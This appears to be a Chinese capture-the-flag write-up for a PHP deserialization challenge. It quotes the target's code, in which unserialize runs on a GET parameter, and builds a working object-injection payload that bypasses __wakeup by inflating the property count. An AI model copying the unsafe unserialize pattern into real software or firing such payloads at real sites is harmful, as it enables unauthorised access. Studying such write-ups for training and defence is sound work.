01、题目简介
02、解题步骤
启动并访问靶机

根据提示,我们需要找出网站的备份文件,通过目录扫描器,扫描出www.zip

查看index.php文件,发现代码中存在反序列化函数unserialize
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>查看class.php文件,发现Name类中,有username和password这两个私有属性,且存在多个魔术方法
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>construct方法:对username和password进行赋值
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}wakeup方法:在执行unserialize()前会先检查wakeup是否存在,如果存在则调用
function __wakeup(){
$this->username = 'guest';
}destruct方法:在代码中的两个if语句中,只要password=100,username=admin,就可以得到flag,但是由于存在wakeup方法,所以无论输入什么,username都会被变成guest
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}整体思考下来,最后的目的其实就是绕过wakeup方法,将admin和password的值分别改为100和admin,再进行反序列化操作
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
echo serialize(new Name);
?>上面代码先对admin和password的值分别改为100和admin,并进行反序列化操作,得到O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
接下来我们需要通过更改属性个数进行wakeup方法绕过,那得出O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
这样就得出payload了
/index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}